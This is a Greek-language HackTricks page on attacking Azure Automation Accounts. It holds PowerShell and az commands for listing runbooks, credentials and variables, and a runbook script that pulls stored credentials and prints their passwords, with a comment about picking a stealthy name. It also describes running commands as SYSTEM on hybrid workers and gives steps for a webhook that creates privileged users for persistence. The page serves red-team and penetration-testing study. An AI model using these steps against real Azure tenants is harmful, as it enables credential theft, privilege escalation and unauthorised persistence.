Az - Automation Account

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Από τα έγγραφα: Ο Azure Automation παρέχει έναν υπηρεσία βασισμένη στο cloud για τον αυτοματισμό, τις ενημερώσεις του λειτουργικού συστήματος και τη διαμόρφωση που υποστηρίζει τη συνεπή διαχείριση σε όλο το Azure και τα μη-Azure περιβάλλοντα. Περιλαμβάνει αυτοματισμό διαδικασιών, διαχείριση διαμόρφωσης, διαχείριση ενημερώσεων, κοινόχρηστες δυνατότητες και δυνατότητες ανεξάρτητων συστημάτων.

Αυτά είναι σαν "προγραμματισμένες εργασίες" στο Azure που θα σας επιτρέψουν να εκτελέσετε πράγματα (ενέργειες ή ακόμα και σενάρια) για να διαχειριστείτε, ελέγξετε και διαμορφώσετε το περιβάλλον Azure.

Λογαριασμός Run As

Όταν χρησιμοποιείται ο Λογαριασμός Run As, δημιουργεί μια εφαρμογή Azure AD με αυτο-υπογεγραμμένο πιστοποιητικό, δημιουργεί έναν υπηρεσιακό προσδιοριστή και αναθέτει τον ρόλο Contributor για τον λογαριασμό στην τρέχουσα συνδρομή (πολλά προνόμια). Η Microsoft συνιστά να χρησιμοποιείται μια Διαχειριζόμενη Ταυτότητα για τον Λογαριασμό Αυτοματισμού.

Αυτό θα αφαιρεθεί στις 30 Σεπτεμβρίου 2023 και θα αντικατασταθεί από Διαχειριζόμενες Ταυτότητες.

Runbooks & Jobs

Τα Runbooks σας επιτρέπουν να εκτελέσετε αυθαίρετο κώδικα PowerShell. Αυτό μπορεί να καταχραστείται από έναν επιτιθέμενο για να κλέψει τα δικαιώματα του συνδεδεμένου προσδιοριστή (αν υπάρχει). Στον κώδικα των Runbooks μπορείτε επίσης να βρείτε ευαίσθητες πληροφορίες (όπως διαπιστευτήρια).

Εάν μπορείτε να διαβάσετε τις εργασίες, κάντε το, καθώς περιέχουν την έξοδο της εκτέλεσης (πιθανές ευαίσθητες πληροφορίες).

Μεταβείτε σε Λογαριασμοί Αυτοματισμού --> <Επιλέξτε Λογαριασμό Αυτοματισμού> --> Runbooks/Εργασίες/Ομάδες υβριδικών εργαζομένων/Εργασίες παρακολούθησης/διαπιστευτήρια/μεταβλητές/πιστοποιητικά/συνδέσεις

Υβριδικός Εργαζόμενος

Ένα Runbook μπορεί να εκτελεστεί σε ένα container μέσα στο Azure ή σε έναν υβριδικό εργαζόμενο (μη-azure μηχάνημα). Ο Πράκτορας Αναλυτικής Καταγραφής εγκαθίσταται στον εικονικό υπολογιστή για να τον καταχωρίσει ως υβριδικό εργαζόμενο. Οι εργασίες του υβριδικού εργαζομένου εκτελούνται ως SYSTEM στα Windows και ως λογαριασμός nxautomation στο Linux. Κάθε Υβριδικός Εργαζόμενος είναι καταχωρημένος σε μια Ομάδα Υβριδικών Εργαζομένων.

Επομένως, εάν μπορείτε να επιλέξετε να εκτελέσετε ένα Runbook σε έναν Υβριδικό Εργαζόμενο Windows, θα εκτελέσετε αυθαίρετες εντολές μέσα σε ένα εξωτερικό μηχάνημα ως System (καλή τεχνική περιστροφής).

Κατάσταση Διαμόρφωσης (SC) Παραβίασης

Από τα έγγραφα: Η Κατάσταση Διαμόρφωσης Azure Automation είναι μια υπηρεσία διαχείρισης διαμόρφωσης Azure που σας επιτρέπει να γράψετε,

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Δημιουργία ενός Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Εξαγωγή διαπιστευτηρίων και μεταβλητών που έχουν καθοριστεί σε έναν λογαριασμό αυτοματισμού χρησιμοποιώντας ένα Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Μπορείτε να κάνετε το ίδιο πράγμα τροποποιώντας έναν υπάρχοντα Run Book, και από τον ιστότοπο της κονσόλας.

Βήματα για την Ρύθμιση Αυτοματοποιημένης Δημιουργίας Χρήστη με Υψηλά Προνόμια

1. Αρχικοποίηση Λογαριασμού Αυτοματισμού

  • Απαιτείται Ενέργεια: Δημιουργήστε έναν νέο Λογαριασμό Αυτοματισμού.

  • Συγκεκριμένη Ρύθμιση: Βεβαιωθείτε ότι η επιλογή "Δημιουργία λογαριασμού Azure Run As" είναι ενεργοποιημένη.

2. Εισαγωγή και Ρύθμιση Runbook

  • Πηγή: Κατεβάστε το δείγμα runbook από το αποθετήριο GitHub του MicroBurst.

  • Απαιτούμενες Ενέργειες:

  • Εισαγάγετε το runbook στον Λογαριασμό Αυτοματισμού.

  • Δημοσιεύστε το runbook για να γίνει εκτελέσιμο.

  • Συνδέστε ένα webhook στο runbook, ενεργοποιώντας εξωτερικές ενεργοποιήσεις.

3. Ρύθμιση Ενότητας AzureAD

  • Απαιτείται Ενέργεια: Προσθέστε την ενότητα AzureAD στον Λογαριασμό Αυτοματισμού.

  • Επιπλέον Βήμα: Βεβαιωθείτε ότι όλες οι Ενότητες Αυτοματισμού Azure είναι ενημερωμένες στις τελευταίες εκδόσεις τους.

4. Ανάθεση Δικαιωμάτων

  • Ρόλοι προς Ανάθεση:

  • Διαχειριστής Χρηστών

  • Κάτοχος Συνδρομής

  • Στόχος: Αναθέστε αυτούς τους ρόλους στον Λογαριασμό Αυτοματισμού για τα απαραίτητα προνόμια.

5. Επίγνωση Πιθανής Απώλειας Πρόσβασης

  • Σημείωση: Να είστε ενήμεροι ότι η ρύθμιση τέτοιου αυτοματισμού μπορεί να οδηγήσει στην απώλεια ελέγχου της συνδρομής.

6. Ενεργοποίηση Δημιουργίας Χρήστη

  • Ενεργοποιήστε το webhook για να δημιουργήσετε έναν νέο χρήστη αποστέλλοντας ένα αίτημα POST.

  • Χρησιμοποιήστε το παρεχόμενο PowerShell script, βεβαιωθείτε ότι αντικαθιστάτε το $uri με το πραγματικό URL του webhook και ενημερώστε το $AccountInfo με το επιθυμητό όνομα χρήστη και κωδικό πρόσβασης.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated